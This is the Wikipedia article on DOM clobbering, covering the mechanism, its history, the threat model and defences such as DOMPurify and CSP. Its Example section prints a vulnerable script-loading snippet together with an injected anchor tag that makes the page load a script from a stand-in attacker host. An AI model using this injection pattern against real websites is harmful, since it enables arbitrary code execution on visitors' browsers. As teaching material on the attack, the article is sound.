DOM clobbering

From Wikipedia the free encyclopedia

In internet security, DOM clobbering (where DOM stands for Document Object Model) is a type of injection attack that revolves around the attacker being able to insert benign non-script HTML code that can be used to influence the execution of JavaScript code. This enables a skilled attacker to perform a variety of unwanted behaviours, including the ability to escalate to arbitrary code execution on the website.

While the vulnerability has been known for over a decade, recent efforts to mitigate it completely have been unsuccessful due to a significant amount of usage of the underlying features across the web as of 2021. However, a few defenses have been identified that limit the effects of DOM clobbering and prevent some instances of DOM clobbering from occurring.

Vulnerability[edit]

The DOM clobbering vulnerability arises from a naming collision between the JavaScript execution context and HTML elements in the Document Object Model (DOM). When an undefined JavaScript variable is declared in the same context as an HTML element with the same name or id parameter, the browser will assign the HTML element to the undefined variable.[1] This behaviour can be used to selectively influence the execution of JavaScript by registering HTML elements that coincide with specific variables that affect the execution of the code. In some instances, DOM clobbering can even be used to overshadow legitimate browser APIs by shadowing the property tree using HTML DOM elements. This can lead to the attacker manipulating the execution of various parts of the JavaScript code by injecting specific markup.[2][3]

A skilled attacker might be able to perform arbitrary open redirections by overwriting the window.location attribute, cross-site request forgery, or even gain arbitrary code execution via careful manipulation of HTML elements. As part of a study conducted in 2023, Khodayari et al. showed that out of the top 5K websites in the world (as determined by the Tranco list), 9.8% of sites were vulnerable to this attack, including sites like Wikibooks, GitHub, Fandom, and Trello.[4]

History[edit]

The existence of DOM clobbering has been known since at least 2010, when a paper from researchers from University of California, Berkeley and Carnegie Mellon University demonstrated an attack where an iframe called self could be used to navigate a page to a different page, violating the same-origin policy.[5][6] Over the years, security researchers have found more sophisticated techniques that have allowed for much more significant impact than what was initially demonstrated.[7][8]

While the existence of the attack itself was already known, the term "DOM clobbering" itself did not emerge until 2013, when it was popularized by security researcher Gareth Heyes's blog post demonstrating how the vulnerability could be used to gain arbitrary code execution.[2] In 2015, Heiderich et al. proposed a design for a library called JSAgents, (later DOMPurify) that would be effective at sanitizing markup injection attacks such as those related to cross-site scripting and DOM clobbering.[9][10][11]

There has been a resurgence of interest in mitigating this attack in recent years, especially after DOM clobbering vulnerabilities were found in Gmail and Google Analytics in 2020.[12] Over 2020 and 2021, proposals were made at various web standard groups detailing defenses against DOM clobbering by disallowing named access to DOM elements at the browser level.[13][4] However, these proposals were dismissed since after investigating Chrome telemetry data, it was found that over 10.5% of the web relies on the features working as per their current behaviour.[14][4]

Example[edit]

To demonstrate how a DOM clobbering attack can be used to influence JavaScript execution, the following snippet of JavaScript code is taken as an example:

const url = window.globalUrlConfig || { href: '/code.js' }; const scriptElem = document.createElement('script'); scriptElem.src = url.href; document.body.appendChild(scriptElem); 

In this simple example, a script element is created and subsequently rendered on the page. However, this simple example is vulnerable to DOM clobbering. An attacker can inject the following HTML via cross-site scripting or other features on the website that might allow for markup injection.

<a href="https://attacker.com/malicious_script.js" id="globalUrlConfig">...</a> 

This injection will allow the attacker to overwrite the globalUrlConfig variable with a reference to the anchor element, which in turn overwrites the url variable and subsequently the scriptElem.src parameter, (due to the fact that url.href now refers to the href parameter of the anchor element) leading to arbitrary code execution.[15]

Threat model[edit]

The threat model for a DOM clobbering attack is similar to that of the web attacker model proposed by Akhawe et al. in 2010. This model assumes that the attacker can send emails or, by some other method, phish the victim to specific pages under their control. The model also assumes that the attacker can inject a limited set of markup into victim websites. This can be done by leveraging other attacks such as cross-site scripting or by abusing rich text rendering features on a web page (for example, Gmail's email reader and WYSIWYG editor).[16][17] This is crucial since DOM clobbering depends on the attacker being able to inject potentially benign HTML into a website.[18]

Defenses[edit]

While the optimal defence against DOM clobbering would be to turn off access to named DOM elements, this is currently not feasible due to the significant active usage of these features as per Chrome telemetry data in 2021.[13][14][4] However, various secure coding practices can be used to mitigate the effects of DOM clobbering on JavaScript code execution.[19]

HTML sanitization libraries[edit]

One of the most common techniques to limit DOM clobbering attacks is to use HTML sanitization libraries.[20] In 2017, Heiderich et al. proposed a mitigation for DOM clobbering that was subsequently added to the DOMPurify library. The mitigation leveraged the use of hashes of existing functions to determine if HTML elements had overwritten them. In addition, DOMPurify parses the id and name attributes of injected elements to identify if they can collide with existing global functions.[21] However, recent vulnerabilities related to DOM clobbering have been found in DOMPurify and similar libraries such as HTML Janitor, which indicate that these libraries only protect against specific cases of DOM clobbering and are largely unaware of the related risks.[22][23][24]

Content security policy[edit]

Another popular method to mitigate the effects of DOM clobbering is the use of restrictive Content Security Policies (CSP).[25] While this does not prevent DOM clobbering from altering the execution of already present code,[26] using restrictive content security policies can make it much harder for attackers to elevate a DOM clobbering risk into a arbitrary code execution attack by limiting how scripts can be executed on a website. By leveraging the script-src CSP directive, web developers can restrict where scripts can be loaded to a predetermined set of trusted domains.[25] This thwarts the attacker's ability to load an untrusted attacker-controlled code significantly, if they can compromise the src attribute of a script tag.[27]

See also[edit]

References[edit]

Citations[edit]

  1. ^ Lekies et al. 2017, p. 1712.
  2. ^ a b Khodayari & Pellegrino 2023, pp. 1043, 1044.
  3. ^ "Mitigating DOM clobbering attacks in JavaScript". Snyk. 2023-08-07. Retrieved 2023-10-30.
  4. ^ a b c d Khodayari & Pellegrino 2023, p. 1050.
  5. ^ Khodayari & Pellegrino 2023, p. 1053.
  6. ^ Bates, Daniel; Barth, Adam; Jackson, Collin (2010-04-26). "Regular expressions considered harmful in client-side XSS filters". Proceedings of the 19th international conference on World wide web. WWW '10. New York, NY, USA: Association for Computing Machinery. pp. 91–100. doi:10.1145/1772690.1772701. ISBN 978-1-60558-799-8. S2CID 730078.
  7. ^ Khodayari & Pellegrino 2023, p. 1041.
  8. ^ "DOM clobbering | Web Security Academy". portswigger.net. Retrieved 2023-10-30.
  9. ^ Heiderich, Niemietz & Schwenk 2015, pp. 24–25.
  10. ^ Heiderich, Späth & Schwenk 2017, pp. 117–118.
  11. ^ Lekies et al. 2017, pp. 1710, 1714.
  12. ^ "DOM Clobbering strikes back". PortSwigger Research. 2020-02-06. Retrieved 2023-11-09.
  13. ^ a b "Disable DOM clobbering. · Issue #349 · w3c/webappsec-permissions-policy". GitHub. Retrieved 2023-11-09.
  14. ^ a b "Chrome Platform Status". chromestatus.com. Retrieved 2023-11-09.
  15. ^ Khodayari & Pellegrino 2023, p. 1042.
  16. ^ Heiderich, Späth & Schwenk 2017, p. 117.
  17. ^ Akhawe et al. 2010, pp. 291–294.
  18. ^ Khodayari & Pellegrino 2023, p. 1043.
  19. ^ Khodayari & Pellegrino 2023, p. 1052.
  20. ^ Khodayari & Pellegrino 2023, p. 1051.
  21. ^ Heiderich, Späth & Schwenk 2017, p. 122-124.
  22. ^ Khodayari & Pellegrino 2023, pp. 1051, 1053.
  23. ^ "Publications/pentest-report_dompurify.pdf at master · cure53/Publications" (PDF). GitHub. Retrieved 2023-11-10.
  24. ^ "Node.js third-party modules disclosed on HackerOne: [html-janitor]..." HackerOne. Retrieved 2023-11-10.
  25. ^ a b Roth, Backes & Stock 2020, p. 420.
  26. ^ Lekies et al. 2017, p. 1717.
  27. ^ "DOM Clobbering Prevention – OWASP Cheat Sheet Series". cheatsheetseries.owasp.org. Retrieved 2023-11-10.

Sources[edit]

Further reading[edit]